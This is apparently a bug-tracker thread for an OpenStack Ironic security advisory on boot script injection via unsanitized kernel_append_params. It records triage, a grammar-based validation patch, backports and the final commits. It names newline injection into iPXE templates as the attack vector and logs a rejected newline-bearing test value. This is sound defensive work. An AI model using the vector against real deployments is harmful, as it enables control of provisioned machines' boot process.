[OSSA-2026-017] Boot Script Injection via Unsanitized Kernel Parameters (CVE-2026-46447)

Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.

Per conversation w/Julia, Jay, Dmitry, delegating this to Clif.

Julia/Jay/Dmitry triaged this on an ironic-coresec triage call.

An appropriate fix for this will:
- Prevent any/all ipxe scripting
- Filter out any values that would never make sense for a kernel command line
- Prevent the use of any newlines

This is a Class A bug and we will be utilizing coordinated disclosure for it.

Once the immediate issue is resolved, we suspect there is a hardening opportunity to discuss enhancement of Field Level / Capability level RBAC in Ironic. For instance, there are entire clouds where nobody would ever need to set instance_info[kernel_append_params] and we should give them a knob to disable in those cases.

This note is only here to preserve the comment and not to spurn immediate action -- we can deal with this in normal Ironic RFE manner once the embargo is completed.

ramdisk_kernel_arguments also allows injection of parameters

Looked at this with Clif in a pair programming session IRL (!):

It looks like the behavior here is a little inconsistent, but generally:
- When we create an ISO
- When we prepare a PXE boot

We do the following:
- check instance_info[kernel_append_params] and use those, if null;
- check driver_info[kernel_append_params] and use those, if null;
- check the CONF.redfish.kernel_append_params (this is a bit misdirected in the code due to previous changes related to now-retired drivers) and use those as a final fallback

There are a couple of exceptions here:
- if we're using ramdisk boot, we look for ramdisk_kernel_arguments instead in some cases
- when building a floppy we do not pull in any kernel params from instance_info/driver_info

Honestly; this interface sucks. I can understand why we chose not to use a cumulative model; since we might need to override in a way that REMOVES a variable, but especially since for ramdisks we look for a different value it's a decoder ring for the operator. I'm not sure how to fix that, and fixing it is outside of the scope of this bug, but we should be stewing on the back burner thinking about if there's a better approach we could take.

Proposing the attached patch as an immediate solution to this bug as well as a long-term approach to take for all parts of the code-base that touch kernel parameters.

To summarize the patch: define a lark grammar that parses kernel command lines and use it in get_kernel_append_params. Valid parsing indicates the arbitrary string input should be OK to use as kernel parameters/command line. This approach may be overkill if we only consider it as a solution to this bug, but I believe it should be applied everywhere we handle or define arbitrary strings we intend to eventually pass as a kernel command line.

This approach is also easily back-portable since lark can generate a stand-alone parser.

Please take a look.

I gave you feedback in a 1:1 review that we need a configurable escape hatch for this, so that any operators broken can disable the security and un-break themselves. On review with Dmitry and Julia, it was suggested that even if that config were toggled to "no filter" that we still exclude newlines, as there's no situation in which they are valid that does not break the Ironic ipxe templates.

Updated patch with latest comment incorporated is attached. Added a conductor configuration option 'disable_kernel_parameter_parsing' which is False by default.

Please take a look.

I think that works, If I'm reading it correctly.

Patch looks functionally good.

One style issue: we generally use the ddt library for data driven tests, you've rolled your own thing here. Ideally we change that.

Can you validate that it:
- passes unit tests and pep8 locally
- passes a "hello world" provisioning test in devstack (we can't reproduce all-CI-tests but we can sanity check it)

Once complete, we need to:
- post a patch for all open branches (look at the recent OSSA-2026-012 for the list of ones we'll need)
- for each patch; validate it passes pep8 and unit tests locally once created

Updated to address style issue brought up in #11.

Patch passes py3 and pep8 tox tests locally.

Still need to run it against a local devstack.

For backports I will have to create a new patch(es) which utilize a stand-alone parser generated by lark in order to avoid importing lark itself.

You should be able to use the lark-native patch for stable/2026.1 (TBN pulled in lark there), and maybe a bugfix branch or two and will only have to do the standalone parser for older branches.

CVE Request 2040238 for CVE ID Request is in flight

ERROR ironic.conductor.utils [None req-f56ae3d9-0fd5-4d4c-8e35-91e970060ee7 None None] Error while preparing to deploy to node eab2ea81-6b58-4330-a6e5-0751a004b6af: Kernel command line did not parse: "quiet
ro" -- No terminal matches '
' in the current parser context, at line 1 col 6

quiet
     ^
Expected one of:
        * __ANON_0
        * SPACE
        * EQUAL

From a local devstack instance where it tried to deploy a node with an invalid 'kernel_append_params' string in the node's 'driver_info'. (There was a newline). The node was skipped and then a node without the bad 'kernel_append_params' wa...

CVE-2026-46447 has been assigned to this vulnerability.

@Clif should we clean up that error? I think that's going to end up in node.last_error and it's a bit confusing -- can you confirm we put something "better" in node history/last error, or can we catch this and return a more operator-friendly error?

+1 to cleaning up the error. Ideally we never end up with a newline character in last_error. Furthermore, we also really don't want to leak too much detail out of the service as to what is under the hood in terms of parsing. In logs, its perfectly fine for us to be verbose.

Alright, I'll try to make sure something short and sane goes in node.last_error

I just noticed that the node with the improper kernel_append_params also causes the node to fail cleaning with the same error. `get_kernel_append_params` must also raise during automated cleaning, causing cleaning to fail. How do we want to deal with that? Or is that outside the scope of this patch?

That's the behavior we want. Someone who can edit driver_info/instance_info can trigger cleaning.

This patch solves the 'last_error' issue:

last_error | Failed to prepare node eab2ea81-6b58-4330-a6e5-0751a004b6af for cleaning: node's driver_info['kernel_append_params'] contains malformed kernel command line

Let me know if this error message works.

Latest patch LGTM.

I did look, but didn't pull down and run pep8/py3 tests. Overall looks good, but the following items should be addressed:
1) I suspect it should be closes-bug instead of related-bug, just so launchpad automation does the needful correctly.
2) Needs a release note.
3) Likely should also explicitly indicate the CVE number in the commit message because that is the first aspect searched by folks.

This patch addresses Julia's 3 points in the latest review.

Patch in #25 applies cleanly to stable/2026.1 and passes pep8,py3

Related bug is actually correct since we didn't want this to close until stable stuff lands. I don't care enough to ask someone to change a text attachment patch though.

Attached patch applies to origin/stable/2025.2 which passes pep8 and py3 tox locally.

I had to weaken the kernel command line grammar slightly in order to use the stand-alone Lark parser which only supports generating a LALR(1) parser. The LALR(1) parser can't handle the ambiguity introduced by parsing init arguments at the end of a kernel command line, therefore I've omitted that part of the grammar.

I still need to test this on older stable branches, but the main hurdle here was adapting to the stand-alone parser, which won't be a problem going further back.

Backport patch for bugfix/33.0 passes pep8 and py3 tox locally.

Patch in #25 applies cleanly to bugfix/34.0 and passes pep8 and py3 tox locally.

Can we please add comments to the standalone grammar indicating exactly how it was created (e.g. if someone needed to reproduce it, they should be able to without any further documentation). Including lark versions as well.

I'll note I researched, the lark-generated parser being MPL 2.0 is OK -- it is compatible in both directions with Apache 2.0.

Draft OSSA attached.

> 0001-Ensure-kernel_append_params-are-valid-kernel-paramet.patch Edit (23.6 KiB, text/plain)

The master version seems to have grammar inline as a string constant, while the backports have it as a separate file. Let's do it consistently (i.e. a separate file, I assume)?

The major concern I have on the backport is the generated output without license headers to set the context for the reader.

Discussion among Jay, Dmitry, and myself, is that maybe a path is to either make lark optional on backports while still keeping the basic fundamental check of newlines. Alternatively, we could stamp the MPL license on the generated parser output. Alternatively we could also simplify the backports to explicitly minimally just have a super simplified backport which is just the newline check.

Consensus with Jeremy from the VMT pulled in, Should be okay to go the license stamping route, given this is a security fix, to just make it as clear as possible on the generated parser output.

> The master version seems to have grammar inline as a string constant, while the backports have it as a separate file. Let's do it consistently (i.e. a separate file, I assume)?

It's not just the master version, but as far back as lark is available as a requirement. I'm not sure why a separate file would improve things: if it's a bare lark grammar file, then we would have to add logic to read the grammar file in at run-time, adding complexity for no real gain. If as a separate python file/module, then it's not consistent with other back-ports still.

For versions where lark is not available as a requirement, it becomes necessary to have a separate grammar file in order to generate the stand-alone parser. The stand-alone parser is also a large departure from more recent stable backports.

As far as readability goes: I believe having the full grammar inline along with the Transformer and the resultant dataclasses from a successful parse makes the most sense since they are all tightly coupled.

Also this same pattern is already present (grammar defined in-line as a string) for Trait Based Networking. So we would be breaking consistency with how we do it elsewhere in the code-base as well.

All this is to say: I'm against breaking the grammar out into a separate file for master and recent back-ports that have lark available. But I'm willing to bend if out-voted here.

>The major concern I have on the backport is the generated output without license headers to set the context for the reader.

>Discussion among Jay, Dmitry, and myself, is that maybe a path is to either make lark optional on backports while still keeping the basic fundamental check of newlines. Alternatively, we could stamp the MPL license on the generated parser output. Alternatively we could also simplify the backports to explicitly minimally just have a super simplified backport which is just the newline check.

>Consensus with Jeremy from the VMT pulled in, Should be okay to go the license stamping route, given this is a security fix, to just make it as clear as possible on the generated parser output.

The stand-alone parser is already stamped with an MPL 2.0 header:

  # The file was automatically generated by Lark v1.3.1
  __version__ = "1.3.1"

  #
  #
  # Lark Stand-alone Generator Tool
  # ---------------------------------- ...

Cliff, thank you for the quick reply on stamping. It didn't parse for me when I was skimming the patch file that it was just a single file and stamped like such.

> Also this same pattern is already present (grammar defined in-line as a string) for Trait Based Networking. So we would be breaking consistency with how we do it elsewhere in the code-base as well.

Hmm, this is a fair point. I can live with the inlined grammar (I will review the rest of the file later today).

Master and 2026.1 versions LGTM. I have a question about backport:

> NOTE: This patch is back-ported from stable/2026.{1,2} and slightly
> weakens the kernel command line grammar by not including init arguments.

So, what happens then? I'd rather have the unit test uncommented and cover what we expect to happen. Are we going to fail?

You may be able to work around this problem by requiring that a key does not consist of only dashes.

> print(tree.pretty())

Please drop any prints, at least in the non-generated code.

> You may be able to work around this problem by requiring that a key does not consist of only dashes.

Worked around this by adding logic to split off init args prior to parsing.

> Please drop any prints, at least in the non-generated code.

Fixed.

Attached is the updated stable 2025.2 backport patch. Please take a look. If it's good I can re-generate the rest of the backport patches.

Looks good to me, thank you!

I'm leaving for today and won't be able to review the rest of the backports. I'll trust Jay and Julia to do it.

Stable 2025.1 Backport Patch with all review comments integrated up to comment #52.

Stable 2024.2 Backport Patch with all review comments integrated up to comment #52.

Unmaintained 2024.1 Backport Patch with all review comments integrated up to comment #52.

Unmaintained 2023.1 Backport Patch with all review comments integrated up to comment #52.

Added the following folks on request from Arnaud @ OVH:
- arnaud-morin
- pierre-libeau
- quentin.grolleau
- guillaume-espanel
- jlejeune
- pslestang
- na-te
- damien-rannou

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/ironic/+/991365

Fix proposed to branch: bugfix/34.0
Review: https://review.opendev.org/c/openstack/ironic/+/991368

Fix proposed to branch: bugfix/33.0
Review: https://review.opendev.org/c/openstack/ironic/+/991371

Fix proposed to branch: stable/2026.1
Review: https://review.opendev.org/c/openstack/ironic/+/991374

Fix proposed to branch: stable/2025.2
Review: https://review.opendev.org/c/openstack/ironic/+/991377

Fix proposed to branch: stable/2025.1
Review: https://review.opendev.org/c/openstack/ironic/+/991380

Fix proposed to branch: unmaintained/2024.1
Review: https://review.opendev.org/c/openstack/ironic/+/991383

Fix proposed to branch: unmaintained/2023.1
Review: https://review.opendev.org/c/openstack/ironic/+/991387

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/ossa/+/991424

Reviewed: https://review.opendev.org/c/openstack/ossa/+/991424
Committed: https://opendev.org/openstack/ossa/commit/688a44d968e1e53846cd27e463bc6b2b815ccda4
Submitter: "Zuul (22348)"
Branch: master

commit 688a44d968e1e53846cd27e463bc6b2b815ccda4
Author: Jay Faulkner <email address hidden>
Date: Wed Jun 3 07:43:18 2026 -0700

    OSSA-2026-017, OSSA-2026-018, OSSA-2026-019

    Three OSSAs, leaving embargo today, impacting Ironic.

    Closes-bug: #2148319
    Closes-bug: #2148333
    Closes-bug: #2150624
    Change-Id: I2ebea5abcb1e8a9bf214d0f9810e45b50f76afbe
    Signed-off-by: Jay Faulkner <email address hidden>

Reviewed: https://review.opendev.org/c/openstack/ironic/+/991365
Committed: https://opendev.org/openstack/ironic/commit/c6c91d649fc3a295aaaffd0ab34d34c61b893749
Submitter: "Zuul (22348)"
Branch: master

commit c6c91d649fc3a295aaaffd0ab34d34c61b893749
Author: Clif Houck <email address hidden>
Date: Tue May 5 17:21:57 2026 -0500

    Ensure kernel_append_params are valid kernel parameters

    By defining a kernel command line grammar and attemping to parse
    kernel_append_params. A successful parse indicates the input contained
    in kernel_append_params are valid kernel parameters. Unsuccessful
    parsing will raise and be rejected.

    This parsing can be disabled through a new conductor configuration
    option: disable_kernel_parameter_parsing which is False by default.

    Basic kernel parameter sanitization (ie filtering newlines) is always
    applied in kernel_append_params since they are never valid for
    inclusion.

    Future patches should extend kernel parameter parsing to all areas of
    Ironic's code base in order to guarantee valid kernel parameters being
    passed along.

    This commit addresses CVE-2026-46447.

    Closes-Bug: 2150624
    Change-Id: I31ee960f6f055e39dd248f54ac853e21838632df
    Signed-off-by: Clif Houck <email address hidden>

Reviewed: https://review.opendev.org/c/openstack/ironic/+/991374
Committed: https://opendev.org/openstack/ironic/commit/8fdec69a146d93c8bbbaf2387ef4f7308ad416d4
Submitter: "Zuul (22348)"
Branch: stable/2026.1

commit 8fdec69a146d93c8bbbaf2387ef4f7308ad416d4
Author: Clif Houck <email address hidden>
Date: Tue May 5 17:21:57 2026 -0500

    Ensure kernel_append_params are valid kernel parameters

    By defining a kernel command line grammar and attemping to parse
    kernel_append_params. A successful parse indicates the input contained
    in kernel_append_params are valid kernel parameters. Unsuccessful
    parsing will raise and be rejected.

    This parsing can be disabled through a new conductor configuration
    option: disable_kernel_parameter_parsing which is False by default.

    Basic kernel parameter sanitization (ie filtering newlines) is always
    applied in kernel_append_params since they are never valid for
    inclusion.

    Future patches should extend kernel parameter parsing to all areas of
    Ironic's code base in order to guarantee valid kernel parameters being
    passed along.

    This commit addresses CVE-2026-46447.

    Closes-Bug: 2150624
    Change-Id: I31ee960f6f055e39dd248f54ac853e21838632df
    Signed-off-by: Clif Houck <email address hidden>

Reviewed: https://review.opendev.org/c/openstack/ironic/+/991368
Committed: https://opendev.org/openstack/ironic/commit/7e2e977f7bfbb6776ee55e4eab0441f6cde86d1a
Submitter: "Zuul (22348)"
Branch: bugfix/34.0

commit 7e2e977f7bfbb6776ee55e4eab0441f6cde86d1a
Author: Clif Houck <email address hidden>
Date: Tue May 5 17:21:57 2026 -0500

    Ensure kernel_append_params are valid kernel parameters

    By defining a kernel command line grammar and attemping to parse
    kernel_append_params. A successful parse indicates the input contained
    in kernel_append_params are valid kernel parameters. Unsuccessful
    parsing will raise and be rejected.

    This parsing can be disabled through a new conductor configuration
    option: disable_kernel_parameter_parsing which is False by default.

    Basic kernel parameter sanitization (ie filtering newlines) is always
    applied in kernel_append_params since they are never valid for
    inclusion.

    Future patches should extend kernel parameter parsing to all areas of
    Ironic's code base in order to guarantee valid kernel parameters being
    passed along.

    This commit addresses CVE-2026-46447.

    Closes-Bug: 2150624
    Change-Id: I31ee960f6f055e39dd248f54ac853e21838632df
    Signed-off-by: Clif Houck <email address hidden>

Reviewed: https://review.opendev.org/c/openstack/ironic/+/991371
Committed: https://opendev.org/openstack/ironic/commit/00f15e5863c85ec0dbdcd4e296063d6045ef8a3d
Submitter: "Zuul (22348)"
Branch: bugfix/33.0

commit 00f15e5863c85ec0dbdcd4e296063d6045ef8a3d
Author: Clif Houck <email address hidden>
Date: Tue May 5 17:21:57 2026 -0500

    Ensure kernel_append_params are valid kernel parameters

    By defining a kernel command line grammar and attemping to parse
    kernel_append_params. A successful parse indicates the input contained
    in kernel_append_params are valid kernel parameters. Unsuccessful
    parsing will raise and be rejected.

    This parsing can be disabled through a new conductor configuration
    option: disable_kernel_parameter_parsing which is False by default.

    Basic kernel parameter sanitization (ie filtering newlines) is always
    applied in kernel_append_params since they are never valid for
    inclusion.

    Future patches should extend kernel parameter parsing to all areas of
    Ironic's code base in order to guarantee valid kernel parameters being
    passed along.

    This commit addresses CVE-2026-46447.

    Closes-Bug: 2150624
    Change-Id: I31ee960f6f055e39dd248f54ac853e21838632df
    Signed-off-by: Clif Houck <email address hidden>

Reviewed: https://review.opendev.org/c/openstack/ironic/+/991377
Committed: https://opendev.org/openstack/ironic/commit/2ffbf0a9a568015615201d62e34a19f33fa15386
Submitter: "Zuul (22348)"
Branch: stable/2025.2

commit 2ffbf0a9a568015615201d62e34a19f33fa15386
Author: Clif Houck <email address hidden>
Date: Tue May 5 17:21:57 2026 -0500

    Ensure kernel_append_params are valid kernel parameters

    By defining a kernel command line grammar and attemping to parse
    kernel_append_params. A successful parse indicates the input contained
    in kernel_append_params are valid kernel parameters. Unsuccessful
    parsing will raise and be rejected.

    This parsing can be disabled through a new conductor configuration
    option: disable_kernel_parameter_parsing which is False by default.

    Basic kernel parameter sanitization (ie filtering newlines) is always
    applied in kernel_append_params since they are never valid for
    inclusion.

    Future patches should extend kernel parameter parsing to all areas of
    Ironic's code base in order to guarantee valid kernel parameters being
    passed along.

    NOTE: This patch is back-ported from stable/2026.{1,2} and slightly
    weakens the kernel command line grammar by not including init arguments.
    Lark's stand-alone LALR(1) parser can't handle the ambiguity introduced.

    This commit addresses CVE-2026-46447.

    Closes-Bug: 2150624
    Change-Id: I31ee960f6f055e39dd248f54ac853e21838632df
    Signed-off-by: Clif Houck <email address hidden>

Reviewed: https://review.opendev.org/c/openstack/ironic/+/991380
Committed: https://opendev.org/openstack/ironic/commit/d94a1990fe02abc9a53c4f4f3ad740903678918d
Submitter: "Zuul (22348)"
Branch: stable/2025.1

commit d94a1990fe02abc9a53c4f4f3ad740903678918d
Author: Clif Houck <email address hidden>
Date: Tue May 5 17:21:57 2026 -0500

    Ensure kernel_append_params are valid kernel parameters

    By defining a kernel command line grammar and attemping to parse
    kernel_append_params. A successful parse indicates the input contained
    in kernel_append_params are valid kernel parameters. Unsuccessful
    parsing will raise and be rejected.

    This parsing can be disabled through a new conductor configuration
    option: disable_kernel_parameter_parsing which is False by default.

    Basic kernel parameter sanitization (ie filtering newlines) is always
    applied in kernel_append_params since they are never valid for
    inclusion.

    Future patches should extend kernel parameter parsing to all areas of
    Ironic's code base in order to guarantee valid kernel parameters being
    passed along.

    NOTE: This patch is back-ported from stable/2026.{1,2} and slightly
    weakens the kernel command line grammar by not including init arguments.
    Lark's stand-alone LALR(1) parser can't handle the ambiguity introduced.

    This commit addresses CVE-2026-46447.

    Closes-Bug: 2150624
    Change-Id: I31ee960f6f055e39dd248f54ac853e21838632df
    Signed-off-by: Clif Houck <email address hidden>

Reviewed: https://review.opendev.org/c/openstack/ironic/+/991387
Committed: https://opendev.org/openstack/ironic/commit/2ef78fa5216f050abfea826c9c50f43bd56fe71f
Submitter: "Zuul (22348)"
Branch: unmaintained/2023.1

commit 2ef78fa5216f050abfea826c9c50f43bd56fe71f
Author: Clif Houck <email address hidden>
Date: Tue May 5 17:21:57 2026 -0500

    Ensure kernel_append_params are valid kernel parameters

    By defining a kernel command line grammar and attemping to parse
    kernel_append_params. A successful parse indicates the input contained
    in kernel_append_params are valid kernel parameters. Unsuccessful
    parsing will raise and be rejected.

    This parsing can be disabled through a new conductor configuration
    option: disable_kernel_parameter_parsing which is False by default.

    Basic kernel parameter sanitization (ie filtering newlines) is always
    applied in kernel_append_params since they are never valid for
    inclusion.

    Future patches should extend kernel parameter parsing to all areas of
    Ironic's code base in order to guarantee valid kernel parameters being
    passed along.

    NOTE: This patch is back-ported from stable/2026.{1,2} and slightly
    weakens the kernel command line grammar by not including init arguments.
    Lark's stand-alone LALR(1) parser can't handle the ambiguity introduced.

    This commit addresses CVE-2026-46447.

    Closes-Bug: 2150624
    Change-Id: I31ee960f6f055e39dd248f54ac853e21838632df
    Signed-off-by: Clif Houck <email address hidden>

Reviewed: https://review.opendev.org/c/openstack/ironic/+/991383
Committed: https://opendev.org/openstack/ironic/commit/c5d37c51bed7e7dbdd84a7259892316efde2e33a
Submitter: "Zuul (22348)"
Branch: unmaintained/2024.1

commit c5d37c51bed7e7dbdd84a7259892316efde2e33a
Author: Clif Houck <email address hidden>
Date: Tue May 5 17:21:57 2026 -0500

    Ensure kernel_append_params are valid kernel parameters

    By defining a kernel command line grammar and attemping to parse
    kernel_append_params. A successful parse indicates the input contained
    in kernel_append_params are valid kernel parameters. Unsuccessful
    parsing will raise and be rejected.

    This parsing can be disabled through a new conductor configuration
    option: disable_kernel_parameter_parsing which is False by default.

    Basic kernel parameter sanitization (ie filtering newlines) is always
    applied in kernel_append_params since they are never valid for
    inclusion.

    Future patches should extend kernel parameter parsing to all areas of
    Ironic's code base in order to guarantee valid kernel parameters being
    passed along.

    NOTE: This patch is back-ported from stable/2026.{1,2} and slightly
    weakens the kernel command line grammar by not including init arguments.
    Lark's stand-alone LALR(1) parser can't handle the ambiguity introduced.

    This commit addresses CVE-2026-46447.

    Closes-Bug: 2150624
    Change-Id: I31ee960f6f055e39dd248f54ac853e21838632df
    Signed-off-by: Clif Houck <email address hidden>

This issue was fixed in the openstack/ironic 37.0.0 Hibiscus release.